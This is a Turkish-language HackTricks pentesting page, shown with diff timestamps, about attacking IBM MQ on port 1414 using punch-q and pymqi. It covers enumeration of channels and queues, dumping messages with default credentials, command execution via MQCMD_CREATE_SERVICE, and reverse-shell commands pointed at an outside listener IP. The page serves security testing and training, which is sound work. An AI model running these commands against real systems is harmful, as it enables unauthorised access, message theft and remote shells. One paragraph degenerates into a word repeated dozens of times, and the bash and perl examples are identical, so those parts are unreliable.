hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

340 lines
19 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# 1414 - IBM MQ Pentesting
2023-10-12 01:08:45 +02:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin<strong>!</strong></summary>
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
2023-10-12 01:08:45 +02:00
</details>
2024-02-10 18:14:16 +00:00
## Temel bilgiler
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ, mesaj kuyruklarını yönetmek için kullanılan bir IBM teknolojisidir. Diğer **mesaj aracısı** teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için kullanılır.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Varsayılan olarak, **IBM MQ TCP bağlantı noktası 1414** olarak açılır.
Bazen, HTTP REST API bağlantı noktası **9443** üzerinde açılabilir.
Metrikler (Prometheus) TCP bağlantı noktası **9157** üzerinden erişilebilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ TCP bağlantı noktası 1414, mesajları, kuyrukları, kanalları vb. manipüle etmek için kullanılabilir, ancak aynı zamanda **örneği kontrol etmek** için de kullanılabilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM, [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) adresinde geniş bir teknik belge sağlamaktadır.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Araçlar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Kolay sömürü için önerilen bir araç **[punch-q](https://github.com/sensepost/punch-q)**, Docker kullanımıyla. Araç, Python kütüphanesi `pymqi`'yi aktif olarak kullanmaktadır.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Daha manuel bir yaklaşım için, Python kütüphanesi **[pymqi](https://github.com/dsuch/pymqi)** kullanın. [IBM MQ bağımlılıkları](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) gereklidir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### pymqi'nin kurulumu
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**IBM MQ bağımlılıkları** kurulmalı ve yüklenmelidir:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
1. [https://login.ibm.com/](https://login.ibm.com/) adresinde bir hesap (IBMid) oluşturun.
2. IBM MQ kütüphanelerini [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) adresinden indirin. Linux x86_64 için **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**'dir.
3. Arşivi açın (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Lisans koşullarını kabul etmek için `sudo ./mqlicense.sh` komutunu çalıştırın.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
>Eğer Kali Linux altındaysanız, `mqlicense.sh` dosyasını düzenleyin: aşağıdaki satırları (105-110 arasındaki satırlar) kaldırın/yorumlayın:
2023-10-12 01:08:45 +02:00
>
>```bash
2024-02-10 18:14:16 +00:00
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
2023-10-12 01:08:45 +02:00
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
2024-02-10 18:14:16 +00:00
5. Bu paketleri kurun:
2023-10-12 01:08:45 +02:00
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
2024-02-10 18:14:16 +00:00
6. Ardından, geçici olarak `.so` dosyalarını LD'ye ekleyin: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, bu bağımlılıkları kullanan diğer araçları çalıştırmadan **önce**.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Daha sonra, [**pymqi**](https://github.com/dsuch/pymqi) projesini klonlayabilirsiniz: ilginç kod parçacıkları, sabitler içerir... Veya doğrudan kütüphaneyi şu komutla yükleyebilirsiniz: `pip install pymqi`.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### punch-q Kullanımı
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
#### Docker ile
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Basitçe şunu kullanın: `sudo docker run --rm -ti leonjza/punch-q`.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
#### Docker olmadan
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
[**punch-q**](https://github.com/sensepost/punch-q) projesini klonlayın ve ardından kurulum için readme'yi takip edin (`pip install -r requirements.txt && python3 setup.py install`).
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Sonra, `punch-q` komutuyla kullanılabilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Numaralandırma
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**punch-q** veya **pymqi** ile **kuyruk yöneticisi adını, kullanıcıları, kanalları ve kuyrukları** numaralandırmayı deneyebilirsiniz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### Kuyruk Yöneticisi
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bazen, Kuyruk Yöneticisi adını almak için herhangi bir koruma olmayabilir:
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
2024-02-10 18:14:16 +00:00
### Kanallar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**punch-q**, mevcut kanalları bulmak için dahili (değiştirilebilir) bir kelime listesi kullanır. Kullanım örneği:
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
2024-02-10 18:14:16 +00:00
Bazı IBM MQ örnekleri, **kimlik doğrulaması yapılmamış** MQ isteklerini kabul eder, bu yüzden `--username / --password` gerekmez. Tabii ki, erişim hakları da değişebilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bir kanal adı (burada: `DEV.ADMIN.SVRCONN`) elde ettiğimiz anda, diğer tüm kanalları sıralayabiliriz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Sıralama temel olarak **pymqi**'den bu kod parçacığı `code/examples/dis_channels.py` ile yapılabilir:
2023-10-12 01:08:45 +02:00
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 18:14:16 +00:00
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
2023-10-12 01:08:45 +02:00
except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
2023-10-12 01:08:45 +02:00
else:
2024-02-10 18:14:16 +00:00
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
2023-10-12 01:08:45 +02:00
qmgr.disconnect()
```
2024-02-10 18:14:16 +00:00
... Ancak **punch-q** ayrıca bu bölümü de içerir (daha fazla bilgiyle!). Aşağıdaki komutla başlatılabilir:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
```bash
punch-q
```
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bu komut, IBM MQ sunucusuna karşı bir saldırı gerçekleştirmek için kullanılır.
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
2024-02-10 18:14:16 +00:00
### Kuyruklar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**pymqi** ile ilgili bir kod parçacığı (`dis_queues.py`) bulunmaktadır, ancak **punch-q** kuyruklar hakkında daha fazla bilgi almayı sağlar:
2023-10-12 01:08:45 +02:00
```bash
2024-02-10 18:14:16 +00:00
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
2023-10-12 01:08:45 +02:00
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
2024-02-10 18:14:16 +00:00
### Mesajları Dump Etme
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Belirli bir kuyruğa/kanala hedef alarak, mesajları onlardan çalmak/dump etmek mümkündür (yıkıcı olmayan işlem). *Örnekler:*
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
2024-02-10 18:14:16 +00:00
**Tüm belirlenen kuyruklarda tekrarlamaktan çekinmeyin.**
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
### Kod yürütme
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
> Devam etmeden önce bazı detaylar: IBM MQ birden fazla şekilde kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Bazı genel listeler [IBM MQ belgelerinde](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) bulunabilir. [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programlanabilir Komut Biçimleri***) uzaktan örnekle etkileşimde bulunmak için odaklandığımız şeydir. **punch-q** ve daha da önemlisi **pymqi** PCF etkileşimlerine dayanır.
2023-10-12 01:08:45 +02:00
>
2024-02-10 18:14:16 +00:00
> PCF komutlarının bir listesini bulabilirsiniz:
> * [PCF belgelerinden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), ve
> * [sabitlerden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> İlginç bir komut `MQCMD_CREATE_SERVICE` ve belgeleri [burada](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) bulunabilir. Argüman olarak, örneğin (`/bin/sh`) örneğinde olduğu gibi, örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekte
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
2024-02-10 18:14:16 +00:00
> IBM MQ günlüklerinde, komutun başarıyla çalıştırıldığını okuyabilirsiniz:
>
2023-10-12 01:08:45 +02:00
> ```bash
2024-02-10 18:14:16 +00:00
> 2023-10-10T19:13:01.713Z AMQ5030I: '808544aa7fc94c48' komutu başlatıldı. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
2023-10-12 01:08:45 +02:00
> ```
2024-02-10 18:14:16 +00:00
Ayrıca, makinedeki mevcut programları da sıralayabilirsiniz (burada `/bin/doesnotexist` ... mevcut değil):
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
2023-10-12 01:08:45 +02:00
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
2024-02-10 18:14:16 +00:00
**Dikkat edin, program başlatma işlemi asenkron olarak gerçekleşir. Bu nedenle, saldırıyı kullanmak için ikinci bir öğeye ihtiyacınız vardır** ***(ters kabuk için dinleyici, farklı bir hizmette dosya oluşturma, ağ üzerinden veri sızdırma...)***
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**Örnek 2**
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Kolay bir ters kabuk için, **punch-q** ayrıca iki ters kabuk yükü de sunar:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* Bir tanesi bash ile
* Bir tanesi perl ile
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
*Tabii ki, `execute` komutuyla özel bir tane oluşturabilirsiniz.*
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
Bash için:
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 18:14:16 +00:00
Perl için:
2023-10-12 01:08:45 +02:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 18:14:16 +00:00
### Özel PCF
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ belgelerine derinlemesine inceleyebilir ve belirli bir PCF komutunu test etmek için **pymqi** python kütüphanesini doğrudan kullanabilirsiniz. Bu, **punch-q** tarafından uygulanmayan özel bir PCF komutunu test etmek için kullanılabilir.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
**Örnek:**
2023-10-12 01:08:45 +02:00
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 18:14:16 +00:00
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
2023-10-12 01:08:45 +02:00
except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
print("Error")
2023-10-12 01:08:45 +02:00
else:
2024-02-10 18:14:16 +00:00
# Process response
2023-10-12 01:08:45 +02:00
qmgr.disconnect()
```
2024-02-10 18:14:16 +00:00
Eğer sabit isimleri bulamazsanız, [IBM MQ belgelerine](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) başvurabilirsiniz.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
> *Örnek için [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Ondalık = 73). `MQCA_CLUSTER_NAME` (Ondalık = 2029) parametresine ihtiyaç duyar, bu da `*` olabilir (Belge: ):*
>
2023-10-12 01:08:45 +02:00
> ```python
> import pymqi
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
2024-02-10 18:14:16 +00:00
> print("Hata")
2023-10-12 01:08:45 +02:00
> else:
> print(response)
2024-02-10 18:14:16 +00:00
>
2023-10-12 01:08:45 +02:00
> qmgr.disconnect()
> ```
2024-02-10 18:14:16 +00:00
## Test ortamı
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ davranışını ve zafiyetleri test etmek isterseniz, Docker tabanlı yerel bir ortam kurabilirsiniz:
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
1. ibm.com ve cloud.ibm.com üzerinde bir hesaba sahip olun.
2. IBM MQ'yu bir konteyner üzerinde oluşturun:
2023-10-12 01:08:45 +02:00
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
2024-02-10 18:14:16 +00:00
Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı `admin` ve şifre `passw0rd` (Ortam değişkeni `MQ_ADMIN_PASSWORD`) olarak ayarlanmıştır.
Burada, kuyruk yöneticisi adı `MYQUEUEMGR` (değişken `MQ_QMGR_NAME`) olarak ayarlanmıştır.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
IBM MQ'nun çalışır durumda olması ve bağlantı noktalarının açık olması gerekmektedir:
2023-10-12 01:08:45 +02:00
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
2024-02-10 18:14:16 +00:00
> IBM MQ docker görüntülerinin eski sürümü şurada bulunabilir: https://hub.docker.com/r/ibmcom/mq/.
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
## Referanslar
2023-10-12 01:08:45 +02:00
2024-02-10 18:14:16 +00:00
* [mgeeky'nin gist'i - "Practical IBM MQ Penetration Testing notları"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
2023-10-12 01:08:45 +02:00
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
2024-02-10 18:14:16 +00:00
* [IBM MQ belgeleri](https://www.ibm.com/docs/en/ibm-mq)